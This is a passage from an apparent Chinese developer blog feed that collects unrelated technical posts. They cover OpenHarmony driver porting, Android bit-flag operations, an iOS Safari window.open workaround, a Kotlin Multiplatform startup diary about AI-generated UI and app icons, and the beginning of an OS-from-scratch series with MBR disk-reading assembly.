新芯片平台移植时,平台相关的初始化配置需要增加平台相关的初始化配置文件/vendor/etc/init/init.{hardware}.cfg;该文件完成平台相关的初始化设置,如安装ko驱动,设置平台相关的/proc节点信息。

init相关进程代码在//base/startup/init_lite目录下,该进程是系统第一个进程,无其它依赖。

初始化配置文件具体的开发指导请参考 init启动子系统概述。

HDF驱动移植

LCD

HDF为LCD设计了驱动模型。支持一块新的LCD,需要编写一个驱动,在驱动中生成模型的实例,并完成注册。

这些LCD的驱动被放置在//drivers/hdf_core/framework/model/display/driver/panel目录中。

  1. 创建Panel驱动

在驱动的Init方法中,需要调用RegisterPanel接口注册模型实例。如:

    int32_t XXXInit(struct HdfDeviceObject *object)
    {
        struct PanelData *panel = CreateYourPanel();

        // 注册
        if (RegisterPanel(panel) != HDF_SUCCESS) {
            HDF_LOGE("%s: RegisterPanel failed", __func__);
            return HDF_FAILURE;
        }
        return HDF_SUCCESS;
    }

    struct HdfDriverEntry g_xxxxDevEntry = {
        .moduleVersion = 1,
        .moduleName = "LCD_XXXX",
        .Init = XXXInit,
    };

    HDF_INIT(g_xxxxDevEntry);

2. 配置加载panel驱动产品的所有设备信息被定义在文件//vendor/MyProductVendor/MyProduct/config/device_info/device_info.hcs中。修改该文件,在display的host中,名为device_lcd的device中增加配置。

注意:moduleName要与panel驱动中的moduleName相同。

    root {
        ...
        display :: host {
            device_lcd :: device {
                deviceN :: deviceNode {
                    policy = 0;
                    priority = 100;
                    preload = 2;
                    moduleName = "LCD_XXXX";
                }
            }
        }
    }

更详细的驱动开发指导,请参考 LCD。

触摸屏

本节描述如何移植触摸屏驱动。触摸屏的驱动被放置在//drivers/hdf_core/framework/model/input/driver/touchscreen目录中。移植触摸屏驱动主要工作是向系统注册ChipDevice模型实例。

  1. 创建触摸屏器件驱动

在目录中创建名为touch_ic_name.c的文件。代码模板如下:注意:请替换ic_name为你所适配芯片的名称。

    #include "hdf_touch.h"

    static int32_t HdfXXXXChipInit(struct HdfDeviceObject *device)
    {
        ChipDevice *tpImpl = CreateXXXXTpImpl();
        if(RegisterChipDevice(tpImpl) != HDF_SUCCESS) {
            ReleaseXXXXTpImpl(tpImpl);
            return HDF_FAILURE;
        }
        return HDF_SUCCESS;
    }

    struct HdfDriverEntry g_touchXXXXChipEntry = {
        .moduleVersion = 1,
        .moduleName = "HDF_TOUCH_XXXX",
        .Init = HdfXXXXChipInit,
    };

    HDF_INIT(g_touchXXXXChipEntry);

其中ChipDevice中要提供若干方法。

方法实现说明
int32_t (*Init)(ChipDevice *device)器件初始化
int32_t (*Detect)(ChipDevice *device)器件探测
int32_t (*Suspend)(ChipDevice *device)器件休眠
int32_t (*Resume)(ChipDevice *device)器件唤醒
int32_t (*DataHandle)(ChipDevice *device)从器件读取数据,将触摸点数据填写入device->driver->frameData中
int32_t (*UpdateFirmware)(ChipDevice *device)固件升级
  1. 配置产品,加载器件驱动

产品的所有设备信息被定义在文件//vendor/MyProductVendor/MyProduct/config/device_info/device_info.hcs中。修改该文件,在名为input的host中,名为device_touch_chip的device中增加配置。注意:moduleName 要与触摸屏驱动中的moduleName相同。

    deviceN :: deviceNode {
        policy = 0;
        priority = 130;
        preload = 0;
        permission = 0660;
        moduleName = "HDF_TOUCH_XXXX";
        deviceMatchAttr = "touch_XXXX_configs";
    }

DD一下:欢迎大家关注公众号<程序猿百晓生>,可以了解到以下内容:

1.OpenHarmony开发基础
2.OpenHarmony北向开发环境搭建
3.鸿蒙南向开发环境的搭建
4.鸿蒙生态应用开发白皮书V2.0 & V3.0
5.鸿蒙开发面试真题(含参考答案) 
6.TypeScript入门学习手册
7.OpenHarmony 经典面试题(含参考答案)
8.OpenHarmony设备开发入门【最新版】
9.沉浸式剖析OpenHarmony源代码
10.系统定制指南
11.【OpenHarmony】Uboot 驱动加载流程
12.OpenHarmony构建系统--GN与子系统、部件、模块详解
13.ohos开机init启动流程
14.鸿蒙版性能优化指南
.......

WLAN

Wi-Fi驱动分为两部分,一部分负责管理WLAN设备,另一个部分负责处理WLAN流量。HDF WLAN分别为这两部分做了抽象。目前支持SDIO接口的WLAN芯片。

图1 WLAN芯片

支持一款芯片的主要工作是实现一个ChipDriver驱动。实现HDF_WLAN_CORE和NetDevice提供的接口。主要需要实现的接口有:

接口定义头文件说明
HdfChipDriverFactory//drivers/hdf_core/framework/include/wifi/hdf_wlan_chipdriver_manager.hChipDriver的Factory,用于支持一个芯片多个Wi-Fi端口
HdfChipDriver//drivers/hdf_core/framework/include/wifi/wifi_module.h每个WLAN端口对应一个HdfChipDriver,用来管理一个特定的WLAN端口
NetDeviceInterFace//drivers/hdf_core/framework/include/net/net_device.h与协议栈之间的接口,如发送数据、设置网络接口状态等

建议适配按如下步骤操作:

  1. 创建HDF驱动建议将代码放置在//device/MySoCVendor/peripheral/wifi/chip_name/,文件模板如下:
    static int32_t HdfWlanXXXChipDriverInit(struct HdfDeviceObject *device) {
        static struct HdfChipDriverFactory factory = CreateChipDriverFactory();
        struct HdfChipDriverManager *driverMgr = HdfWlanGetChipDriverMgr();
        if (driverMgr->RegChipDriver(&factory) != HDF_SUCCESS) {
            HDF_LOGE("%s fail: driverMgr is NULL!", __func__);
            return HDF_FAILURE;
        }
        return HDF_SUCCESS;
    }

    struct HdfDriverEntry g_hdfXXXChipEntry = {
        .moduleVersion = 1,
        .Init = HdfWlanXXXChipDriverInit,
        .Release = HdfWlanXXXChipRelease,
        .moduleName = "HDF_WIFI_CHIP_XXX"
    };

    HDF_INIT(g_hdfXXXChipEntry);

在CreateChipDriverFactory中,需要创建一个HdfChipDriverFactory,接口如下:

接口说明
const char *driverName当前driverName
int32_t (*InitChip)(struct HdfWlanDevice *device)初始化芯片
int32_t (*DeinitChip)(struct HdfWlanDevice *device)去初始化芯片
void (_ReleaseFactory)(struct HdfChipDriverFactory _factory)释放HdfChipDriverFactory对象
struct HdfChipDriver _(_Build)(struct HdfWlanDevice *device, uint8_t ifIndex)创建一个HdfChipDriver;输入参数中,device是设备信息,ifIndex是当前创建的接口在这个芯片中的序号
void (_Release)(struct HdfChipDriver _chipDriver)释放chipDriver
uint8_t (*GetMaxIFCount)(struct HdfChipDriverFactory *factory)获取当前芯片支持的最大接口数

HdfChipDriver需要实现的接口有:

接口说明
int32_t (*init)(struct HdfChipDriver *chipDriver, NetDevice *netDev)初始化当前网络接口,这里需要向netDev提供接口NetDeviceInterFace
int32_t (*deinit)(struct HdfChipDriver *chipDriver, NetDevice *netDev)去初始化当前网络接口
struct HdfMac80211BaseOps *opsWLAN基础能力接口集
struct HdfMac80211STAOps *staOps支持STA模式所需的接口集
struct HdfMac80211APOps *apOps支持AP模式所需要的接口集
  1. 编写配置文件,描述驱动支持的设备。

在产品配置目录下创建芯片的配置文件//vendor/MyProductVendor/MyProduct/config/wifi/wlan_chip_chip_name.hcs

注意: 路径中的vendor_name、product_name、chip_name请替换成实际名称。

模板如下:

    root {
        wlan_config {
            chip_name :& chipList {
                chip_name :: chipInst {
                    match_attr = "hdf_wlan_chips_chip_name"; /* 这是配置匹配属性,用于提供驱动的配置根 */
                    driverName = "driverName"; /* 需要与HdfChipDriverFactory中的driverName相同*/
                    sdio {
                        vendorId = 0x0296;
                        deviceId = [0x5347];
                    }
                }
            }
        }
    }

3. 编写配置文件,加载驱动。

产品的所有设备信息被定义在文件//vendor/MyProductVendor/MyProduct/config/device_info/device_info.hcs中。修改该文件,在名为network的host中,名为device_wlan_chips的device中增加配置。

注意:moduleName 要与触摸屏驱动中的moduleName相同。

    deviceN :: deviceNode {
        policy = 0;
        preload = 2;
        moduleName = "HDF_WLAN_CHIPS";
        deviceMatchAttr = "hdf_wlan_chips_chip_name";
        serviceName = "driverName";
    }

4. 构建驱动

  • 创建内核菜单在//device/MySoCVendor/peripheral目录中创建Kconfig文件,内容模板如下:
        config DRIVERS_WLAN_XXX
            bool "Enable XXX WLAN Host driver"
            default n
            depends on DRIVERS_HDF_WIFI
            help
              Answer Y to enable XXX Host driver. Support chip xxx

接着修改文件//drivers/hdf_core/adapter/khdf/linux/model/network/wifi/Kconfig,在文件末尾加入如下代码将配置菜单加入内核中,如:

        source "../../../../../device/MySoCVendor/peripheral/Kconfig"
  • 创建构建脚本

//drivers/hdf_core/adapter/khdf/linux/model/network/wifi/Makefile文件末尾增加配置,模板如下:

        HDF_DEVICE_ROOT := $(HDF_DIR_PREFIX)/../device
        obj-$(CONFIG_DRIVERS_WLAN_XXX) += $(HDF_DEVICE_ROOT)/MySoCVendor/peripheral/build/standard/

当在内核中开启DRIVERS_WLAN_XXX开关时,会调用//device/MySoCVendor/peripheral/build/standard/中的makefile。更多详细的开发手册,请参考 WLAN开发 。

by 塞尔维亚大汉 at January 18, 2025 01:26 PM

juejin android

Android源码中的位运算

在android的系统类中经常可以看到巧妙的位运算,下面我们来学习一下。

例如View中的flag

static final int PFLAG_WANTS_FOCUS                 = 0x00000001;
/** {@hide} */
static final int PFLAG_FOCUSED                     = 0x00000002;
/** {@hide} */
static final int PFLAG_SELECTED                    = 0x00000004;
/** {@hide} */
static final int PFLAG_IS_ROOT_NAMESPACE           = 0x00000008;
/** {@hide} */
static final int PFLAG_HAS_BOUNDS                  = 0x00000010;
/** {@hide} */
static final int PFLAG_DRAWN                       = 0x00000020;
/**
 * When this flag is set, this view is running an animation on behalf of its
 * children and should therefore not cancel invalidate requests, even if they
 * lie outside of this view's bounds.
 *
 * {@hide}
 */
static final int PFLAG_DRAW_ANIMATION              = 0x00000040;
/** {@hide} */
static final int PFLAG_SKIP_DRAW                   = 0x00000080;
/** {@hide} */
static final int PFLAG_REQUEST_TRANSPARENT_REGIONS = 0x00000200;
/** {@hide} */
static final int PFLAG_DRAWABLE_STATE_DIRTY        = 0x00000400;
/** {@hide} */
static final int PFLAG_MEASURED_DIMENSION_SET      = 0x00000800;
/** {@hide} */
static final int PFLAG_FORCE_LAYOUT                = 0x00001000;
/** {@hide} */
static final int PFLAG_LAYOUT_REQUIRED             = 0x00002000;

private static final int PFLAG_PRESSED             = 0x00004000;

/** {@hide} */
static final int PFLAG_DRAWING_CACHE_VALID         = 0x00008000;
/**
 * Flag used to indicate that this view should be drawn once more (and only once
 * more) after its animation has completed.
 * {@hide}
 */
static final int PFLAG_ANIMATION_STARTED           = 0x00010000;

private static final int PFLAG_SAVE_STATE_CALLED   = 0x00020000;

/**
 * Indicates that the View returned true when onSetAlpha() was called and that
 * the alpha must be restored.
 * {@hide}
 */
static final int PFLAG_ALPHA_SET                   = 0x00040000;

/**
 * Set by {@link #setScrollContainer(boolean)}.
 */
static final int PFLAG_SCROLL_CONTAINER            = 0x00080000;

/**
 * Set by {@link #setScrollContainer(boolean)}.
 */
static final int PFLAG_SCROLL_CONTAINER_ADDED      = 0x00100000;

/**
 * View flag indicating whether this view was invalidated (fully or partially.)
 *
 * @hide
 */
static final int PFLAG_DIRTY                       = 0x00200000;

/**
 * Mask for {@link #PFLAG_DIRTY}.
 *
 * @hide
 */
static final int PFLAG_DIRTY_MASK                  = 0x00200000;

/**
 * Indicates whether the background is opaque.
 *
 * @hide
 */
static final int PFLAG_OPAQUE_BACKGROUND           = 0x00800000;

/**
 * Indicates whether the scrollbars are opaque.
 *
 * @hide
 */
static final int PFLAG_OPAQUE_SCROLLBARS           = 0x01000000;

/**
 * Indicates whether the view is opaque.
 *
 * @hide
 */
static final int PFLAG_OPAQUE_MASK                 = 0x01800000;

/**
 * Indicates a prepressed state;
 * the short time between ACTION_DOWN and recognizing
 * a 'real' press. Prepressed is used to recognize quick taps
 * even when they are shorter than ViewConfiguration.getTapTimeout().
 *
 * @hide
 */
private static final int PFLAG_PREPRESSED          = 0x02000000;

/**
 * Indicates whether the view is temporarily detached.
 *
 * @hide
 */
static final int PFLAG_CANCEL_NEXT_UP_EVENT        = 0x04000000;

/**
 * Indicates that we should awaken scroll bars once attached
 *
 * PLEASE NOTE: This flag is now unused as we now send onVisibilityChanged
 * during window attachment and it is no longer needed. Feel free to repurpose it.
 *
 * @hide
 */
private static final int PFLAG_AWAKEN_SCROLL_BARS_ON_ATTACH = 0x08000000;

/**
 * Indicates that the view has received HOVER_ENTER.  Cleared on HOVER_EXIT.
 * @hide
 */
private static final int PFLAG_HOVERED             = 0x10000000;

/**
 * Flag set by {@link AutofillManager} if it needs to be notified when this view is clicked.
 */
private static final int PFLAG_NOTIFY_AUTOFILL_MANAGER_ON_CLICK = 0x20000000;

/** {@hide} */
static final int PFLAG_ACTIVATED                   = 0x40000000;

/**
 * Indicates that this view was specifically invalidated, not just dirtied because some
 * child view was invalidated. The flag is used to determine when we need to recreate
 * a view's display list (as opposed to just returning a reference to its existing
 * display list).
 *
 * @hide
 */
static final int PFLAG_INVALIDATED                 = 0x80000000;

这些flag都是int类型的,并且都是以0x开头的也就是十六进制数。这些flag转为二进制后有个特点只有一位为1,其余都是0

// 0000 0000 0000 0000 0000 0000 0000 0000  //二进制转为十进制0
// 代表什么标志位都没有
int flag_mask = 0x00000000;  //十六进制0的写法

// 0000 0000 0000 0000 0000 0000 0000 0001  //二进制转为十进制1   等同于1<<0
int a1 = 0x00000001;  //十六进制1的写法

// 0000 0000 0000 0000 0000 0000 0000 0010  //二进制转为十进制2   等同于1<<1
int a2 = 0x00000002;  //十六进制2的写法

// 0000 0000 0000 0000 0000 0000 0000 0100 //二进制转为十进制4    等同于1<<2
int a3 = 0x00000004;  //十六进制4的写法

// 0000 0000 0000 0000 0000 0000 0000 1000 //二进制转为十进制8    等同于1<<3
int a4 = 0x00000008;  //十六进制8的写法

// 0000 0000 0000 0000 0000 0000 0001 0000 //二进制转为十进制16   等同于1<<4
int a5 = 0x00000010;  //十六进制16的写法

// 0000 0000 0000 0000 0000 0000 0010 0000 //二进制转为十进制32   等同于1<<5
int a6 = 0x00000020;  //十六进制32的写法

1 添加标志:

//现在我们往flag_mask添加标志a1,a4
        flag_mask |= a1;
        flag_mask |= a4;
        Log.i("zhangqing","添加标志:"+Integer.toBinaryString(flag_mask));

//        分析:
//        flag_mask=00000000 00000000 00000000 00000000  int是4字节,32位的
//        a1       =00000000 00000000 00000000 00000001
//        按位或操作的结果:
//        result   =00000000 00000000 00000000 00000001
//        a4       =00000000 00000000 00000000 00001000
//        result1  =00000000 00000000 00000000 00001001
//        所以通过|操作符可以实现标志位的添加功能

运行结果:

image.png

结果转为十六进制0x00001001

2 提取标志

//提取标志
        //提取的功能主要是用来判断某个标志位是否存在,是否已经设置了
        boolean isA1Seted = (flag_mask & a1) == a1;
        Log.i("zhangqing", "a1是否设置:" + isA1Seted);

        boolean isA4Seted = (flag_mask & a4) == a4;
        Log.i("zhangqing", "a4是否设置:" + isA4Seted);

        boolean isA3Seted = (flag_mask & a3) == a3;
        Log.i("zhangqing", "a4是否设置:" + isA3Seted);


//        分析:
//        flag_mask=00000000 00000000 00000000 00001001  int是4字节,32位的
//        a1       =00000000 00000000 00000000 00000001
//        a4       =00000000 00000000 00000000 00001000
//        a3       =00000000 00000000 00000000 00000100
//        通过按位于操作符&
//        resultA1 =00000000 00000000 00000000 00000001
//        resultA4 =00000000 00000000 00000000 00001000
//        resultA3 =00000000 00000000 00000000 00000000
//        所以要提取某个标志位,然后判断是否存在就使用&操作符

image.png

3 删除标志

//删除标志
        //有的时候我们会把某个标志从mask里面删除,该怎么操作呢?
        flag_mask &= ~a1;
        flag_mask &= ~a4;

        Log.i("zhangqing", "删除后的结果flag_mask:" + Integer.toBinaryString(flag_mask));
//        分析:
//        flag_mask=00000000 00000000 00000000 00001001  int是4字节,32位的
//        ~a1      =11111111 11111111 11111111 11111110  按位取反的结果
//        ~a4      =11111111 11111111 11111111 11110111  按位取反的结果
//        按位与&
//        flag_mask=00000000 00000000 00000000 00001000
//        flag_mask=00000000 00000000 00000000 00000000
//        最终结果把a1和a4都删除了

image.png

结果转为十六进制0x00000000

系统的源代码就是最好的老师,我们经常熟悉android源码,可以取其精华。

by 在岁月中远行 at January 18, 2025 01:20 PM

juejin frontend

当window.open被ios安全机制拦截,我掏出3种方案,终于跳转成功!

一、前言

今天在开发H5的时候,遇到了一个bug,就是在ios环境,在某些情况下执行window.open不生效,所以正好趁此机会研究了一下window.open

二、window.open介绍

open方法的调用方式可以看出,open方法是定义在Window接口上,正因为如此它有三个参数:

window.open(url, target, windowFeatures)
  1. url:「可选参数」,表示你要加载的资源URL或路径,如果不传,则打开一个url地址为about:blank的空白页。

顺便介绍一下,about:blankchrome浏览器的一个命令,该指令会打开浏览器的一个内建空白页面,而不是从网络上下载,类似的命令还有about:downloadsabout:extensionsabout:history等等,具体chrom浏览器提供了哪些命令,你可以通过在浏览器地址栏输入about:about查看。

  1. target:「可选参数」,它可以给以下两种值。
    • 第一种是target关键字
      • _self:当前标签页加载;
      • _blank(默认值):新标签页打开;
      • _parent:作为当前浏览环境的父级浏览上下文打开,没有父级浏览上下文,效果与_self相同;
      • _top:作为最顶级的浏览上下文打开,没有顶级浏览上下文,效果与_self相同。
    • 第二种是一个字符串:表示加载资源的浏览上下文的名称,也就是标签页的名称,如果这个名称在现有的标签页中不存在,则会开启一个新的标签页,如果存在,会跳转到这个标签页。

这里顺便提一下,我在平时开发中曾经写出这样的代码:

const handleClick = () => {
    window.open(url, 'blank');
}

这个方法是绑定在一个点击按钮上面的,结果我的同事在点击多次这个按钮时,第一次会打开一个新窗口,而后续的点击都跳转到第一次点击打开的那个窗口,于是我去排查了一下,发现自己把_blank写成了blank,于是浏览器把它解析成了标签页的名字,而不是target关键词,我那时候感觉挺有意思,第一次详细去了解了这个target

  1. windowFeatures:「可选参数」,它是一个字符串,用来描述窗口的特性,其格式是"key1=value1, key2=value2",即将keyvalue=号连接拼接成字符串,多个key value逗号隔开,比如我们要打开一个宽为500,高为600的窗口可以这么写:
window.open(url, 'new-window', 'width=500,height=600');

它可以描述如下窗口特性:

  1. width:内容区域宽度,最小值为100,
  2. height:内容区域高度,最小值100,
  3. left:距离用户操作系统工作区左侧的距离,
  4. top:距离用户操作系统工作区顶部的距离。
  5. ...

这四个应该是最常用的,其它的不太常用我这里就不列举了。

至于这个windowFeatures的作用呢,平常开发中用的不太多,我能想到的场景就是比如你要通过url打开一个预览页面,让用户看里面的一些内容,就可以用这个试试。

三、bug复现

先写一个能复现问题的demo:

async function jump() {
  await fetch('/xxx');
  window.open('https://www.xxx.cn');
}

正常情况下执行window.open是能正常新标签页打开传入的url的,但是一旦前面用await做了异步操作后,再执行window.open,就不生效了。

然后我又尝试了a标签,发现效果也是一样的,无法打开新标签页。

async function jump() {
  await fetch('/xxx');
  let a = document.createElement('a');
  a.setAttribute('target', 'blank');
  a.href = 'https://www.xxx.cn';
  a.click()
  a = null;
}

四、原因分析

  1. 安全机制拦截:IOS的Safari浏览器为了防止恶意网站通过window.open/a标签打开其他网站,于是对它们的调用有所限制,如果不是由用户直接交互触发的,而是由程序自动触发的,Safari会拦截这个操作。
  2. 异步操作:在AJAX回调中执行window.open/a标签跳转,被浏览器认为是非用户交互行为,所以被拦截。

五、解决方案

方案1:改用location.href

既然window.opena标签跳转不行,那就换成location.href就好了,因为safari不会拦截location.href

async function jump() {
  await fetch('/xxx');
  location.href = 'https://www.xxx.cn';
}

当然并不是所有场景下都适合用location.href,因为location.href会刷新页面,所以需要根据具体场景来选择。

方案2:先打开一个空标签页

通过window.open("", "_blank")先打开一个空标签页,然后等待请求完成后,修改这个新标签页的url。

async function jump() {
  const newWin = window.open("", "_blank"); // 提前打开一个窗口
  const { jumpUrl } = await fetch('/xxx');
  if (jumpUrl) {
    newWin.location = jumpUrl;
  } else {
    newWin.close();
    // ... 
  }
}

但这里有个体验问题,我这里根据有没有jumpUrl进行跳转,如果没有jumpUrl,我需要调用close方法关闭刚才提前打开的那个窗口,而这样用户就会体验到的流程就是,先出来一个新窗口,随后被秒关闭,这样用户体验很差。

方案3:setTimeout/requestAnimationFrame

在我的业务场景中,是必须要用window.open的,所以只能另寻他法,最终找到了一个解决方案,就是在window.open之前加一个setTimeout,在回调中执行window.open,这样就能避免被safari拦截。

async function jump() {
  await fetch('/xxx');
  setTimeout(() => {
    window.open('https://www.xxx.cn');
  }, 0)
}

后面测试了一下,发现requestAnimationFrame也可以。

async function jump() {
  await fetch('/xxx');
  requestAnimationFrame(() => {
    window.open('https://www.xxx.cn');
  })
}

六、最终我采取的方案

我最终是通过方案3setTimeout解决了问题,如果setTimeout不生效,可以尝试加点延时看看,比如100毫秒,我这边实测的ios机型都能生效,所以就没加延时。

七、小结

本文主要介绍了window.open的用法,以及我自己在平时开发中踩的坑,希望对大家平常开发有帮助!

如果针对上面的问题,更好的解决方案,欢迎在下方留言评论!一起学习。

by 程序员小寒 at January 18, 2025 01:00 PM

juejin android

KMP从零创业 Live Show(5)- UI + AI

上集回顾

上集中,我们在后端python项目里配置了Dockerfile,把项目打包成了Docker Image,然后在本地环境通过Docker Engine把服务run起来了. 有了后台接口,我们就可以开始前端开发环节了,不过在开始前我们需要一套完整的移动端ui设计.听闻AI现在已经可以通过描述直接生成app套图了,我们今天就来试试水.

第五集-UI+AI

[!note] adobe ps,adobe xd,mastergo(蓝湖),sketch,figma就是我对一个app设计的所有认知范围了.adobe系列在我印象中偏重,那么我们另外三个里面找找看了

Figma

一上来就首选的Figma.原因很简单,目前国内外最流行的工具之一,也是最近几个项目跟ui师傅对接使用到的工具.并且社区活跃,资源教程都很完善. 开干吧!看学习教程,资料花了10分钟左右吧,迫不及待的想自己实操.然而打开Figma发现跟教程对不上(没有找到AI相关工具).折腾了2-3小时候后才弄明白,free档用户无法使用AI相关特性.壮着胆子看了一下收费标准,不是在下能消费的起的,直接弃了.

[!tip] 看了一些Figma AI演示片和大佬们使用Figma AI做出来的产品分享视频,效果非常惊艳,可玩性强!有条件的兄弟真心可以闭眼入.

Sketch

印象中没有网页端,只能用桌面端,桌面端还要下载破解版.都懒得去查Sketch有没有相关AI能力,刚在Figma碰壁让我觉得这条路估计也走不通.弃了!

MasterGo

前身好像是蓝湖,现在搞得感觉很像国内版的Figma.这个是有网页端的,打开看看发现是有AI功能的 image.png 点击AI生成页面 image.png 输入描述(我输入的是帮我生成一个海报的分享弹窗) image.png 这里可以先选择大体方案,然后根据选择方案可以继续微调效果,我们选择A然后继续微调 image.png 其他页面,如法炮制 image.png

说实话,效果有点差强人意.个人分析主要原因可能还是在跟AI沟通上缺乏技巧,关键字匹配度很低造成的.不过目前的设计图已经足够承载我们app的雏形了.

MasterGo这波免费的AI很给力.希望官方能推出相关的AI沟通技巧和提示词示范,相信这样能帮助非专业人士也能生成出专业级的设计.

给App取个名字并设计一个Logo

刚给孩子冲完奶,孩子属虎的.名字就暂定"小虫海报"得了(英文BigCat Poster). 好用的生图工具好像都收费,只能先省省,咱们用免费的看看效果.

巨硬的Copilot: image.png 还挺可爱的.再试试马老板家的Grok2: image.png 感觉效果不如巨硬家的.有机会等mj有免费活动的时候 咱们可以再试试收费的,目前我们就先用这个免费的吧.接着我们用之前KMP项目结构基础演示用空项目下载地址来开始替换Android,IOS双端应用图标.

IOS应用icon替换

image.png 回忆一下KMP项目结构,iosApp目录作为编译模块,在里面我们可以找到默认的应用logoapp-icon-1024.png,通过命名来看应该是个分辨率为10241024的png文件.验证一下也证实了我们的猜测 image.png 正好我们通过AI生成的logo也是10241024的分辨率,那就直接替换吧 image.png 直接替换后run一下看看效果 image.png

因为没有IOS开发经验,并不确定这里直接替换这个png知否就能做到全设备的适配,后面会找机会在真机上看看效果.欢迎大家对此留言指正!

Android应用icon替换

熟悉Android开发的朋友,一般都知道可以通过Android Studio的模板来生成icon.不管是Fleet还是Android Studio,都是通过Gradle编译成Android项目的,所以logo的设置同之前用AS开发项目应该一模一样.但是仔细点了一圈后,并没有在Fleet中找到类似模板生成的选项.当然我们可以用AS开个新项目并利用模板功能生成对应icon,然后复制粘贴到本项目.不过这样做总觉得有点麻烦,特别对电脑上本来就没有安装AS的朋友来说就更劝退了.网上搜了一下,搜到一个貌似能解决KMP替换应用icon的插件KMPAppIconGeneratorPlugin.下面我们试试

  1. 应用插件 image.png

  2. 重命名logo文件为icon,支持png和svg格式,并移动到对应目录 image.png

  3. 运行app,自定在ios和Android目录下生成替换icon image.png 运行的是Android应用,但是这里可以看到IOS目录下也生成了对应分辨率的logo image.png 双端完美替换!我们把代码上传到仓库,有需要的朋友可以下载跑一下看看效果.替换了logo的应用项目-点击下载 image.png

image.png

下集预告

KMP+CMP把双端的UI撸出来!

[!todo]

  • 做个什么?
  • 研究学习一下BeatPrints,把流程跑一跑,琢磨一下盈利点
  • 创建 python 项目提供接口,通过 docker 在本地运行,调通接口 (跪求好心python大佬们指导和支持,帮助我们快速实现预期的后台功能)
  • 通过 figma ai 生成 ui 图(用MasterGo代替了)
  • 通过 app 页面交互,最终完成封面下载
  • 接入三方平台分享 sdk
  • 接入支付 sdk
  • 前后端用户注册登录及等级系统建立
  • 接入网易云 api
  • 健壮后端项目,做好场景覆盖和错误捕捉等
  • 上架
  • 待续补充

[!info] 如果您觉得这篇文章对你有用或者有趣的话,请点赞,关注,收藏三连支持一下作者.

千万不要小看你随手善意的支持,每一份好心的善意最终都化为作者持续分享的动力

by kandra777 at January 18, 2025 12:45 PM

juejin career

从0开始做一个操作系统

本贴用来记录作者用c语言写一个操作系统,主要参考《操作系统真相还原》一书写的,同时也会对书里的代码和linux进行对比,尽量看一下现代操作系统中是如何实现的。

传统的操作系统课一般从内存,虚拟化等等方面讲起,因为是自己实现操作系统,肯定不能一上来就写开始写内存管理这种大活,因此我们从操作系统的启动开始说起。

重装过系统的都知道,操作系统的启动之前都会有一个BIOS界面,因为内存断电之后会被清空,所以就要重新加载操作系统到内存里,这个职责的第一棒就是BIOS。BIOS存在一个类似于硬盘的芯片中,即使断电了也不会丢失。

一上电瞬间加载的第一条指令地址CS:IP指向0xF000:0xFFF0 = 0xFFFF0,也就是1MB的最高16B处,这条指令就是BIOS的位置。当然16B肯定啥东西都放不了,所以这里只是一个跳转指令的地址,他会跳转到别的位置来执行。

开机的时候1mb大小的内存都是固定分配好的

之后CPU会通过jmp far f000:e05b也就是0xfe05b处开始执行真正的BIO代码,然后BIOS就开始马不停蹄的检查内存,显卡之类的硬件信息,同时建立好相关的数据结构,之后BIOS的使命也就完成了,他要把重任交给下一个程序。

接下来电脑会开始检查硬盘,如果硬盘第一个扇区末尾的两个字节是0x55和0xaa,BIOS就会认为这个扇区存在可执行程序,然后把他加载到内存地址0x7c00处,开始执行,这个被加载的程序就是MBR。

MBR的大小是512字节,主要由以下部分组成:

  • MBR引导代码:通常占用前446字节。
  • 分区表:占用接下来的64字节,用来描述硬盘上的分区信息。
  • MBR标志:占用最后2字节。

大家也没有看出来一个问题,MBR为啥这么小?因为早期受硬件限制一个扇区只有512字节,即使大多数现代硬盘依然在物理层面使用4K扇区,但为了兼容旧系统,它们通常会通过“512字节逻辑扇区”来模拟。而我们的MBR只能存在第一个扇区中,所以MBR充其量也只能充当一个跳转程序(就像BIOS那样),不能承担加载操作系统的重任,因此MBR的职责就是从硬盘里读取到真正的加载内核的程序。

MBR程序大概如下(当然这是书上的,不是linux的mbr)

;功能:读取硬盘n个扇区
rd_disk_m_16:   
;-------------------------------------------------------------------------------
       ; eax=LBA扇区号
       ; ebx=将数据写入的内存地址
       ; ecx=读入的扇区数
      mov esi,eax  ;备份eax
      mov di,cx  ;备份cx
;读写硬盘:
;第1步:设置要读取的扇区数
      mov dx,0x1f2
      mov al,cl
      out dx,al            ;读取的扇区数

      mov eax,esi   ;恢复ax

;第2步:将LBA地址存入0x1f3 ~ 0x1f6

      ;LBA地址7~0位写入端口0x1f3
      mov dx,0x1f3                       
      out dx,al                          

      ;LBA地址15~8位写入端口0x1f4
      mov cl,8
      shr eax,cl
      mov dx,0x1f4
      out dx,al

      ;LBA地址23~16位写入端口0x1f5
      shr eax,cl
      mov dx,0x1f5
      out dx,al

      shr eax,cl
      and al,0x0f   ;lba第24~27位
      or al,0xe0   ; 设置7~4位为1110,表示lba模式
      mov dx,0x1f6
      out dx,al

;第3步:向0x1f7端口写入读命令,0x20 
      mov dx,0x1f7
      mov al,0x20                        
      out dx,al

;第4步:检测硬盘状态
  .not_ready:
      ;同一端口,写时表示写入命令字,读时表示读入硬盘状态
      nop
      in al,dx
      and al,0x88   ;第4位为1表示硬盘控制器已准备好数据传输,第7位为1表示硬盘忙
      cmp al,0x08
      jnz .not_ready   ;若未准备好,继续等。

;第5步:从0x1f0端口读数据
      mov ax, di
      mov dx, 256
      mul dx
      mov cx, ax   ; di为要读取的扇区数,一个扇区有512字节,每次读入一个字,
   ; 共需di*512/2次,所以di*256
      mov dx, 0x1f0
  .go_on_read:
      in ax,dx
      mov [bx],ax
      add bx,2  
      loop .go_on_read
      ret

   times 510-($-$$) db 0
   db 0x55,0xaa

MBR 引导过程发生在操作系统加载之前,此时操作系统的内存管理和驱动程序还未初始化。因此,MBR 无法依赖内存映射 I/O 来控制硬盘,而必须通过 I/O 端口进行低级操作,MBR正是通过端口把硬盘里的数据加载到内存中,之后再通过一个指令,跳转到刚刚从硬盘里加载好的程序处,也就是我们常说的loader。

jmp LOADER_BASE_ADDR + 0x300

如果想要查看linux的MBR程序,可以通过parted -l用于列出你所有的硬盘信息,输出大概是这样

$ sudo parted -l
Model: ATA TOSHIBA THNSNS25 (scsi)
Disk /dev/sda: 256GB
Sector size (logical/physical): 512B/512B
Partition Table: msdos

Number  Start   End     Size    Type     File system  Flags
 1      4194kB  32.2GB  32.2GB  primary  ext4         boot
 2      32.2GB  256GB   224GB   primary  ext4

我们找到其中的Partition Table一项,如果看到是msdos话就说明这个硬盘里有MBR,为什么分区表一项(Partition table)就代表用mbr引导呢?因为MBR的概念就是MS-DOS(一个很古老的操作系统)在1983年引入的。

然后通过

